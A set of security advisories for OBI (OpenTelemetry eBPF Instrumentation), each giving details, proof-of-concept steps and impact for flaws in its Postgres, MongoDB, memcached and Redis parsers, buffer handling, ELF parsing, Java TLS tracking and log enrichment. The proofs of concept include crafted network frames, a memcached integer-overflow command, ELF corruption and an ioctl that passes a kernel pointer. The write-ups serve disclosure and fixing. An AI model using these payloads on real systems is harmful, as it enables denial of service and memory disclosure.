Summary
The Postgres protocol parser assumes BIND message payloads contain a valid NUL-terminated portal name. A crafted empty or unterminated payload can make OBI slice beyond the end of the captured buffer and panic.
Details
The vulnerable logic is in pkg/ebpf/common/sqldetectpostgres.go. In the BIND case, OBI converts the full payload to a string with unix.ByteSliceToString(msg.data), computes portalLen := len(portal) + 1, and then slices msg.data[portalLen:] to derive the statement name.
There is no check that msg.data actually contains a NUL terminator or even enough bytes for portalLen. With an empty payload or a truncated message, portalLen can exceed the slice length and trigger a runtime panic.
PoC
Local testing with a minimal reproducer showed the expected slice bounds out of range crash for an empty BIND payload.
Use a vulnerable build:
bash git checkout v0.0.0-rc.1+build make build
Start a local Postgres instance and OBI:
bash docker run --rm -e POSTGRESPASSWORD=postgres -p 5432:5432 postgres:17 sudo ./bin/obi
Send a malformed BIND frame with an empty payload:
python save as /tmp/pg-bind-poc.py import socket, struct
tag = b'B' length = struct.pack(">I", 4) payload = b""
s = socket.createconnection(("127.0.0.1", 5432)) s.sendall(tag + length + payload) s.close()
Run it:
bash python3 /tmp/pg-bind-poc.py
On a vulnerable build, the Postgres parser in OBI panics while processing the captured payload.
Impact
This is a remote availability issue in OBI's Postgres parser. Any attacker able to send malformed Postgres traffic to a monitored service can crash the agent and stop telemetry collection for that node or process.
Summary
OBI replays BPF probe hits into histogram observations by looping once per recorded run count. On busy systems, the run-count delta can become very large, causing the metrics exporter to spend excessive CPU time in a tight loop every collection interval.
Details
The vulnerable loop is in pkg/export/prom/prombpf.go. During each metrics tick, OBI iterates through probeMetrics and then executes for range metric.count, invoking BpfProbeLatency(...) for each individual recorded hit.
The count comes from calculateStats() in the same file, where deltaCount := bp.runCount - bp.prevRunCount is calculated and returned without any cap before the per-hit replay loop.
If probe activity spikes between scrape intervals, deltaCount can be very large. The exporter then spends CPU time proportional to the number of probe hits rather than the number of metric series.
PoC
Local testing with a small reproducer confirmed the replay-loop behavior and showed CPU scaling with the recorded hit count rather than the number of metric series.
Use a vulnerable build and enable internal metrics export:
bash git checkout v0.0.0-rc.1+build make build export OTELEBPFINTERNALMETRICSPROMETHEUSPORT=9090 sudo ./bin/obi
Create a high-rate workload that repeatedly exercises traced probes. For example, generate HTTP traffic against an instrumented service:
bash python3 -m http.server 18081
Then drive it:
bash seq 1 500000 | xargs -P 128 -I{} curl -s http://127.0.0.1:18081 >/dev/null
At the same time, scrape metrics repeatedly:
bash while true; do curl -s http://127.0.0.1:9090/metrics >/dev/null; done
On a vulnerable build, OBI CPU consumption rises sharply during the metrics loop because histogram updates are replayed once per counted probe execution. The effect is visible in top or pidstat and is most pronounced under sustained high request volume.
Impact
This is an availability issue in the internal metrics path. Any deployment that enables BPF internal metrics and traces busy workloads is affected. Attackers can indirectly consume CPU in the privileged agent by driving enough activity through instrumented services.
Summary
Malformed MongoDB wire messages can trigger uncaught panics in the MongoDB TCP parser, allowing a remote unauthenticated attacker to crash the telemetry agent and cause a denial of service. The parser operates on raw attacker-controlled network payloads before the input is fully validated, so a single crafted message can terminate telemetry collection for the affected process or node.
Details
MongoDB parsing support was introduced by commit 2070f568a (Add Initial support for mongodb), so the explicit released version minimum affected is v0.1.0.
There are two related panic conditions in released go.opentelemetry.io/obi versions:
- In v0.1.0 through v0.3.0, parseOpMessage reads OPMSG flag bits from buf[msgHeaderSize:msgHeaderSize+int32Size] without first ensuring the buffer is at least msgHeaderSize + int32Size bytes long. A truncated OPMSG packet can therefore trigger a slice-bounds panic before the parser returns an error. - In v0.1.0 through v0.3.0, parseSections consumes the section type byte and then reads the document-sequence length from buf[offSet:offSet+int32Size] without re-validating that enough bytes remain after the type byte. A malformed document-sequence section can therefore trigger another slice-bounds panic. - In v0.1.0 through v0.8.0, parseFirstField assumes the collection name for collection-scoped commands is always a string and performs an unchecked type assertion on field.Value. A malformed BSON document can therefore trigger a runtime panic with interface conversion instead of returning a parse error.
The bounds-check panic was fixed by commit 3aa58cdaaa97fbb72f8ef4c3609ae425aacaf8bb (Fix MongoDB client panic), which first appears in release v0.4.0. The unchecked BSON type assertion is still present in v0.8.0.
Because this code runs while decoding attacker-controlled MongoDB traffic, the failure mode is process termination rather than graceful rejection of invalid input. In deployments where the telemetry agent monitors traffic from untrusted or partially trusted clients, a single malformed packet can terminate collection until the agent is restarted.
Affected code paths are in pkg/ebpf/common/mongodetecttransform.go and correspond to parseOpMessage, parseSections, and parseFirstField.
PoC
The following reproductions are fully self-contained. They create a temporary test file inside an affected checkout and then run go test against the real parser code in the repository.
1. Reproduce the v0.1.0 through v0.3.0 bounds-check panics:
bash git clone https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation.git obi-poc cd obi-poc git checkout v0.3.0
cat > pkg/ebpf/common/mongosecuritypoctest.go <<'EOF' package ebpfcommon
import "testing"
func TestSecurityPoCParseOpMessageShortPanics(t testing.T) { parseOpMessage(make([]byte, 16), 0, false, nil) }
func TestSecurityPoCParseSectionsShortDocSequencePanics(t testing.T) { parseSections([]byte{byte(sectionTypeDocumentSequence), 0x01, 0x02, 0x03}) } EOF
go test ./pkg/ebpf/common -run 'TestSecurityPoCParseOpMessageShortPanics|TestSecurityPoCParseSectionsShortDocSequencePanics' -count=1
Expected result:
- TestSecurityPoCParseOpMessageShortPanics panics with a message similar to slice bounds out of range [:20] with capacity 16 - TestSecurityPoCParseSectionsShortDocSequencePanics panics with a message similar to slice bounds out of range [:5] with capacity 4
1. Reproduce the v0.1.0 through v0.8.0 unchecked BSON type-assertion panic:
bash git clone https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation.git obi-poc cd obi-poc git checkout v0.8.0
cat > pkg/ebpf/common/mongosecuritypoctest.go <<'EOF' package ebpfcommon
import ( "testing"
"go.mongodb.org/mongo-driver/v2/bson" )
func TestSecurityPoCParseFirstFieldTypeAssertionPanics(t testing.T) { parseFirstField(bson.E{Key: commFind, Value: int32(123)}) } EOF
go test ./pkg/ebpf/common -run TestSecurityPoCParseFirstFieldTypeAssertionPanics -count=1
Expected result: panic with a message similar to interface conversion: interface {} is int32, not string.
Impact
This is a remote denial-of-service vulnerability in the MongoDB protocol parser. Any deployment that enables MongoDB parsing and processes attacker-controlled or malformed MongoDB traffic is impacted. Successful exploitation lets an unauthenticated attacker crash the telemetry agent by sending a crafted OPMSG packet or malformed BSON document, causing loss of observability until the process is restarted.
Summary
A remotely reachable integer overflow in OBI's memcached text protocol parser can crash the OBI process and cause denial of service. When parsing memcached storage commands such as set, add, replace, append, prepend, or cas, OBI accepts extremely large <bytes> values and adds the payload delimiter length without checking for overflow. A crafted request with <bytes> set to math.MaxInt or math.MaxInt-1 causes the computed payload length to wrap negative and triggers a runtime panic in LargeBufferReader.Peek.
Details
The issue is in the memcached request parser at pkg/ebpf/common/memcacheddetecttransform.go.
memcachedCommandBytesField parses the storage command <bytes> field with strconv.Atoi and only rejects negative values:
go size, err := strconv.Atoi(string(fields[4])) if err != nil || size < 0 { return 0, false }
Because there is no upper bound check, values up to math.MaxInt are accepted.
memcachedConsumeStoragePayload then computes the payload length by adding the trailing \r\n delimiter length:
go payloadLen := bytesField + len(memcachedDelimBytes) payload, err := r.Peek(payloadLen)
If bytesField is math.MaxInt or math.MaxInt-1, this addition overflows the signed int and produces a negative payloadLen.
That negative length is passed into LargeBufferReader.Peek in pkg/internal/largebuf/largebuffer.go. Peek checks whether n > Remaining() but does not reject negative values before slicing:
go if r.rchunk < len(r.lb.chunks) && r.roff+n <= len(r.lb.chunks[r.rchunk]) { return r.lb.chunks[r.rchunk][r.roff : r.roff+n], nil }
With a negative n, the slice expression uses a negative upper bound and causes a Go runtime panic. Since OBI runs as a privileged instrumentation process and parses observed memcached traffic, an attacker who can send crafted memcached storage commands to an instrumented service can crash OBI remotely.
Affected logic identified by the scan:
- pkg/ebpf/common/memcacheddetecttransform.go:322 - pkg/ebpf/common/memcacheddetecttransform.go:386 - pkg/internal/largebuf/largebuffer.go:501
PoC
The repository already contains a runnable memcached fixture under internal/test/oats/memcached/. The steps below reproduce the crash using only files from this repository.
1. From the repository root, start the checked-in memcached environment:
bash docker compose \ -f internal/test/oats/memcached/docker-compose-include-base.yml \ -f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \ up --build
This starts:
- memcached on port 11211 - testserver, the Python app in internal/test/integration/components/pythonmemcached/main.py - autoinstrumenter, the OBI process launched with --config=/configs/instrumenter-config-traces.yml
The relevant repo-local files are:
- internal/test/oats/memcached/docker-compose-obi-python-memcached.yml - internal/test/oats/memcached/configs/instrumenter-config-traces.yml
2. In a second shell, confirm the environment is working:
bash curl http://127.0.0.1:8080/memcached
3. From the same repository root, send a crafted memcached storage command from inside the instrumented testserver container. On 64-bit systems, use 9223372036854775807 (math.MaxInt):
bash docker compose \ -f internal/test/oats/memcached/docker-compose-include-base.yml \ -f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \ exec testserver \ python -c 'import socket; s=socket.createconnection(("memcached",11211), timeout=5); s.sendall(b"set crash 0 0 9223372036854775807\r\nvalue\r\n"); s.close()'
On 32-bit systems, replace 9223372036854775807 with 2147483647.
4. OBI parses the request header, accepts the <bytes> field as an int, and computes:
go payloadLen = bytesField + len("\r\n")
5. That addition overflows negative and the negative payloadLen is passed to LargeBufferReader.Peek, which slices with an invalid bound and panics.
6. Confirm the crash by checking the autoinstrumenter container status or logs:
bash docker compose \ -f internal/test/oats/memcached/docker-compose-include-base.yml \ -f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \ ps autoinstrumenter
bash docker compose \ -f internal/test/oats/memcached/docker-compose-include-base.yml \ -f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \ logs autoinstrumenter
The expected result is that the OBI process crashes with a panic originating from LargeBufferReader.Peek, with the call path including memcachedConsumeStoragePayload.
Impact
This is a remote denial-of-service vulnerability in OBI's memcached protocol parsing path.
Impacted deployments are those where:
- OBI is running with the vulnerable memcached parser, and - OBI observes memcached text protocol traffic from applications or services that an attacker can reach or influence.
A successful attack does not require code execution or authentication against OBI itself. An attacker only needs to cause a vulnerable instrumented service to emit or receive a crafted memcached storage command. The result is a panic in OBI and loss of telemetry collection until the process is restarted.
Summary
OBI exports raw Redis error text as the span status message. Because Redis error replies can contain attacker-controlled or sensitive values, this behavior can exfiltrate tokens, PII, or other confidential input into telemetry backends and inject untrusted text into downstream analysis systems.
Details
In pkg/ebpf/common/redisdetecttransform.go, getRedisError trims the raw error buffer and stores it directly in request.DBError.Description.
Later, pkg/appolly/app/request/span.go returns that description as the exported status message for Redis spans whenever the span status is non-zero.
There is no opt-in control or sanitization beyond CRLF trimming. As a result, raw Redis error text becomes part of OTLP-exported status metadata by default.
PoC
Local request-layer testing recorded a status message containing ERR invalid password for user bob secret=TOPSECRET, which shows that unfiltered Redis error text reaches the exported status message.
Use a vulnerable build:
bash git checkout v0.0.0-rc.1+build make build
Start Redis and OBI:
bash docker run --rm -p 6379:6379 redis:7 sudo ./bin/obi
Send a command that causes Redis to return an error containing caller-supplied text:
bash redis-cli -p 6379 'NOTACMD my-secret-token-123'
Capture the exported span or inspect the local telemetry output. On a vulnerable build, the span status message contains the Redis error text, including the supplied command fragment. This demonstrates that raw Redis error text is exported into telemetry by default and that values embedded in that text, including data supplied unintentionally by a caller, can be carried into tracing systems.
Impact
This is an information disclosure and telemetry injection issue. It affects any deployment that traces Redis traffic and exports spans to collectors, logs, or dashboards. Sensitive values, tokens, or PII present in Redis error text can be exfiltrated into telemetry systems, and untrusted text can contaminate downstream analysis.
Summary
The per-CPU message-buffer fallback path uses a 256-byte backup buffer but preserves the original payload size, which can be up to 8KB. If a CPU mismatch occurs, OBI can read beyond the fallback buffer and leak adjacent memory into telemetry.
Details
https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/032473449b53d9f02ec4619d4f5b84e6a81db362/bpf/common/httpbufsize.h#L4-L7
kkprobeshttp2bufsize is defined as 256 bytes, the size of the fallback buffer.
https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/032473449b53d9f02ec4619d4f5b84e6a81db362/bpf/common/msgbuffer.h#L12-L36
Introduces 8KB per-CPU buffer and 256-byte fallbackbuf in msgbuffert, creating a size mismatch for fallback use.
https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/032473449b53d9f02ec4619d4f5b84e6a81db362/bpf/generictracer/ktracer.c#L370-L394
On CPU mismatch, fallbackbuf is used but size is still set to mbuf->realsize (up to 8KB) and passed downstream.
https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/032473449b53d9f02ec4619d4f5b84e6a81db362/bpf/generictracer/protocolhttp.h#L412-L441
byteslen (from mbuf->realsize) is used to read payload data from ubuf; if ubuf is the 256B fallback, this can over-read and leak memory into telemetry.
https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/032473449b53d9f02ec4619d4f5b84e6a81db362/bpf/tpinjector/tpinjector.c#L192-L206
realsize is set up to 8192 bytes and stored with cpuid; fallbackbuf only contains 256 bytes.
PoC
Local testing with an AddressSanitizer user-space PoC reproduced the same class of size-mismatch over-read as the vulnerable fallback-buffer path. That result is sufficient to ground the advisory in a fresh local reproduction even though the exact end-to-end eBPF path still depends on host BPF capabilities.
To reproduce the validated behavior locally:
1. create a struct that models fallbackbuf[256] and realsize 2. populate only the 256-byte fallback buffer 3. simulate the CPU mismatch path by using the fallback buffer as the source pointer while preserving a much larger realsize 4. perform a read of realsize bytes from that 256-byte backing store under ASan
An equivalent reproducer is:
c // save as /tmp/pocmsgbufoob.c #include <stdint.h> #include <stdio.h> #include <string.h>
struct msgbuffer { unsigned char fallbackbuf[256]; uint16t pos; uint16t realsize; uint32t cpuid; };
int main(void) { struct msgbuffer m = {0}; unsigned char sink[8192];
memset(m.fallbackbuf, 'A', sizeof(m.fallbackbuf)); m.realsize = 4096;
memcpy(sink, m.fallbackbuf, m.realsize); printf("copied %u bytes from a 256-byte fallback buffer\n", m.realsize); return 0; }
Compile and run with ASan:
bash cc -fsanitize=address -O1 -g -o /tmp/pocmsgbufoob /tmp/pocmsgbufoob.c ASANOPTIONS=abortonerror=1 /tmp/pocmsgbufoob
Expected result:
text AddressSanitizer: heap-buffer-overflow or stack-buffer-overflow
That user-space PoC matches the size-mismatch condition in the vulnerable code path, even though the exact end-to-end eBPF runtime path still requires host BPF attach/load capability.
Impact
This is a confidentiality issue in the HTTP tracing path. The vulnerable read occurs in OBI's local fallback-buffer handling when context propagation is enabled, the tpinjector sockmsg path is active, HTTP large-buffer capture is configured with a non-zero size, and a CPU mismatch occurs between producer and consumer contexts. Under those conditions, OBI can over-read from the fallback buffer and export unrelated memory through telemetry.
Summary
OBI's replacement ELF parser trusts section offsets, counts, and string offsets from the executable file. A crafted local ELF can make OBI dereference invalid section pointers or slice past string tables, causing the agent to panic while determining the process language.
Details
matchExeSymbols iterates over sections and uses offsets/symbol names from the unvalidated fastelf context; nil section pointers or out-of-range offsets can trigger panics during dereference/slicing.
https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/cec36c1b872beba9d17956bfde75dee3249a1516/pkg/internal/exec/proclanglinux.go#L133-L165
GetCStringUnsafe and ReadStruct perform unsafe slicing and pointer conversion without guarding against out-of-range or negative offsets derived from ELF data, enabling panics on malformed input.
https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/cec36c1b872beba9d17956bfde75dee3249a1516/pkg/internal/fastelf/fastelf.go#L201-L213
NewElfContextFromData trusts Shoff/Shnum/Phnum from the ELF header, converting them to int and populating sections/segments without validating offsets or ensuring ReadStruct returned non-nil.
https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/cec36c1b872beba9d17956bfde75dee3249a1516/pkg/internal/fastelf/fastelf.go#L271-L296
Malformed ELF metadata can therefore crash OBI during normal process discovery.
PoC
Local testing confirms the parser panic path on the vulnerable release, but one caveat is worth noting: rerunning a previously captured malformed-ELF PoC directly against the current checkout did not reproduce the original crash. That means the parser has drifted since the vulnerable release, so reproduction should be performed against the affected release tag or commit range rather than assuming current HEAD still panics in exactly the same way.
Use a vulnerable build:
bash git checkout v0.0.0-rc.1+build make build
Create a small valid ELF and then corrupt its section-header metadata:
bash cat >/tmp/hello.c <<'EOF' int main(void) { return 0; } EOF cc -o /tmp/hello /tmp/hello.c cp /tmp/hello /tmp/hello-bad printf '\xff\xff' | dd of=/tmp/hello-bad bs=1 seek=$((0x3c)) conv=notrunc
Run the malformed executable so OBI inspects it during process discovery:
bash chmod +x /tmp/hello-bad /tmp/hello-bad &
Start OBI or trigger a rescan of processes:
bash sudo ./bin/obi
On a vulnerable build, OBI can panic while parsing the malformed ELF. If the first corruption does not hit the exact fragile path on your architecture, alter section-name or symbol-table offsets instead; the root issue is the lack of defensive validation before GetCStringUnsafe and related section lookups.
Impact
This is a local denial of service against the telemetry agent. Any local tenant or process owner able to execute a malformed binary on a monitored host can crash OBI and interrupt observability for other workloads.
Summary
The custom CappedConcurrentHashMap introduced for Java TLS state tracking never removes keys from its insertion-order queue when entries are deleted. In long-running instrumented JVMs, repeated connection churn can therefore grow the queue without bound and exhaust heap memory.
Details
The vulnerable implementation is in pkg/internal/java/agent/src/main/java/io/opentelemetry/obi/java/instrumentations/util/CappedConcurrentHashMap.java#L11. New keys are appended to a ConcurrentLinkedQueue, and eviction only runs inside put() when map.size() > capacity.
The remove() method removes the key from the ConcurrentHashMap but leaves the key in the queue. Because evictIfNeeded() only checks map.size() > capacity, the queue can grow forever in workloads that insert and remove keys while keeping the live map below the cap.
This pattern is reachable from pkg/internal/java/agent/src/main/java/io/opentelemetry/obi/java/instrumentations/data/SSLStorage.java#L66, where cleanupConnectionBufMapping removes entries from bufConn and activeConnections, and removeBufferMapping removes entries from bufToBuf. In normal TLS connection lifecycles, those removals happen frequently.
PoC
Local testing with a small Java reproducer showed queue growth continuing after removals and eventually reached OutOfMemoryError, which matches the code-level leak mechanism described above.
Use a vulnerable Java agent build from v0.0.0-rc.2+build.2 or any later release that still contains the change. Start any JVM process instrumented with OBI's Java TLS support, then generate a large number of short-lived TLS handshakes.
One local reproducer is:
bash git checkout v0.0.0-rc.2+build.2 make build
Start a simple TLS server:
bash openssl req -x509 -newkey rsa:2048 -nodes -keyout /tmp/key.pem -out /tmp/cert.pem -subj '/CN=localhost' -days 1 openssl sserver -accept 9443 -key /tmp/key.pem -cert /tmp/cert.pem -quiet
Run an instrumented JVM client that repeatedly opens and closes TLS connections:
java // save as /tmp/TLSChurn.java import javax.net.ssl.; import java.net.Socket;
public class TLSChurn { public static void main(String[] args) throws Exception { SSLContext ctx = SSLContext.getInstance("TLS"); ctx.init(null, new TrustManager[]{new X509TrustManager() { public java.security.cert.X509Certificate[] getAcceptedIssuers() { return null; } public void checkClientTrusted(java.security.cert.X509Certificate[] c, String a) {} public void checkServerTrusted(java.security.cert.X509Certificate[] c, String a) {} }}, new java.security.SecureRandom());
SSLSocketFactory f = ctx.getSocketFactory(); for (;;) { try (Socket s = f.createSocket("127.0.0.1", 9443)) { s.getOutputStream().write("x".getBytes()); } catch (Exception ignored) {} } } }
Compile and run:
bash javac /tmp/TLSChurn.java java TLSChurn
Attach the vulnerable OBI Java instrumentation to the JVM. Over time, heap usage in the OBI Java agent process grows even though live connection counts remain bounded. A heap dump will show large retention from ConcurrentLinkedQueue nodes owned by CappedConcurrentHashMap.
Impact
This issue causes an availability loss in instrumented Java workloads that use OBI's TLS instrumentation. Repeated connection setup and teardown can grow the retained queue until the Java helper experiences long GC pauses or exhausts heap memory with OutOfMemoryError.
Summary
OBI's log enricher mishandles writev buffers by reading only the first iovec entry but using the total ioviter.count as the copy length. When log injection is enabled, a crafted multi-segment writev call can make OBI read and overwrite memory beyond the first segment.
Details
In bpf/logenricher/logenricher.c#L50, filliov resolves only one struct iovec, specifically iovctx.iov[0] for ITERIOVEC. The returned iov therefore describes only the first write segment.
However, write later uses const sizet count = BPFCOREREAD(from, count);, which is the total byte count across all segments in the iterator. That total is stored in e->len and used in bpfprobereaduser(e->log, e->len, iov.iovbase) and bpfprobewriteuser(iov.iovbase, zero, towrite).
If count exceeds iov.iovlen, OBI reads and then zeroes memory past the end of the first segment. In practice, this can corrupt adjacent application buffers, leak memory into log events, and in some layouts destabilize the instrumented process.
PoC
Local testing with a minimal ASan harness reproduced the same out-of-bounds read/write condition as the vulnerable writev path.
Use a vulnerable build with the log enricher enabled.
bash git checkout v0.7.0 make build
Create a program that performs a two-element writev, where the first buffer is short and the second is large:
c // save as /tmp/writev-poc.c #define GNUSOURCE #include <sys/uio.h> #include <unistd.h> #include <string.h>
int main(void) { char a[8] = "HELLO\n"; char b[256]; memset(b, 'B', sizeof(b));
struct iovec iov[2]; iov[0].iovbase = a; iov[0].iovlen = sizeof(a); iov[1].iovbase = b; iov[1].iovlen = sizeof(b);
for (;;) { writev(1, iov, 2); usleep(10000); } }
Compile and run it:
bash cc -O2 -o /tmp/writev-poc /tmp/writev-poc.c /tmp/writev-poc >/dev/null
Attach OBI with log enrichment enabled to the running process:
bash PID=$(pgrep -f /tmp/writev-poc) sudo ./bin/obi --pid "$PID"
On a vulnerable build, OBI copies ioviter.count bytes starting from iov[0].iovbase, even though iov[0] is only 8 bytes long. Depending on allocator layout, you will see one of the following:
1. log events that include bytes beyond HELLO\n 2. corrupted stdout content because OBI zeroed memory beyond the first iovec 3. process instability or a crash
The issue is easiest to observe under a debugger or with ASan-enabled builds of the target program, but those are not required.
Impact
This is a memory safety flaw in the log-enrichment eBPF path. It affects deployments that enable log injection and instrument applications that write logs through writev. An attacker who can trigger the vulnerable local writev pattern inside the instrumented process can cause memory corruption or disclosure in that process. The most direct effects are corrupted output and adjacent-memory disclosure, with process instability possible if the overwrite lands on sensitive state.
Summary
The Java TLS ioctl probe reads user-controlled ioctl pointers with bpfproberead instead of bpfprobereaduser. An instrumented local process can therefore point OBI at kernel memory and cause that memory to be copied into telemetry.
Details
The vulnerable path is in bpf/generictracer/javatls.c. The kprobe hooks dovfsioctl, filters on fd == 0 and the Java TLS magic command, and then treats the third ioctl argument as a structured buffer. It reads fields from that pointer using bpfproberead, including:
- the operation byte from arg - connection metadata from arg + 1 - the payload length from arg + 1 + sizeof(connectioninfot)
If len > 0, it computes buf = arg + 1 + sizeof(connectioninfot) + sizeof(u32) and passes that pointer into handlebufwithconnection.
The next stage, bpf/generictracer/ktracerdefs.h, uses bpfproberead(args->smallbuf, MINHTTP2SIZE, (void )args->ubuf); on the supplied pointer and tail-calls deeper protocol logic. The HTTP protocol path then reads from ubuf and emits the bytes through bpfringbufoutput in bpf/generictracer/protocolhttp.h.
Because the ioctl pointer originates in user space, the probe should be using bpfprobereaduser with strict length validation. Using bpfproberead instead makes it possible for an instrumented process to supply a kernel pointer and exfiltrate kernel-resident bytes into telemetry.
PoC
A complete lab reproduction requires:
1. a vulnerable build of OBI with Java TLS instrumentation enabled 2. a host capable of loading the BPF program 3. a local process that issues the Java TLS magic ioctl with an attacker-controlled pointer
Suggested reproduction steps:
bash git checkout v0.0.0-rc.1+build make build sudo ./bin/obi
Then run a local helper that issues the matching ioctl command against fd=0 and supplies a crafted pointer.
c // save as /tmp/ioctlkernelptr.c #include <stdio.h> #include <stdint.h> #include <sys/ioctl.h> #include <unistd.h>
#define JAVATLSMAGIC 0x0b10b1
int main(void) { void ptr = (void )0xffff888000000000ULL; long rc = ioctl(0, JAVATLSMAGIC, ptr); printf("ioctl rc=%ld\n", rc); return 0; }
Compile and run:
bash cc -O2 -o /tmp/ioctlkernelptr /tmp/ioctlkernelptr.c /tmp/ioctlkernelptr
On a vulnerable system, if the supplied pointer references readable kernel memory and the bytes satisfy the expected Java TLS structure enough to pass the early checks, OBI can read from that address and emit the resulting bytes into telemetry. The remaining local prerequisite is a host session with sufficient BPF capability to load and inspect the probe; the compile side of the reproduction is already satisfied here.
Impact
This is a local kernel memory disclosure primitive reachable from unprivileged instrumented processes. It affects deployments that enable Java TLS support. Successful exploitation can expose kernel memory contents to the privileged OBI agent and then to downstream telemetry systems.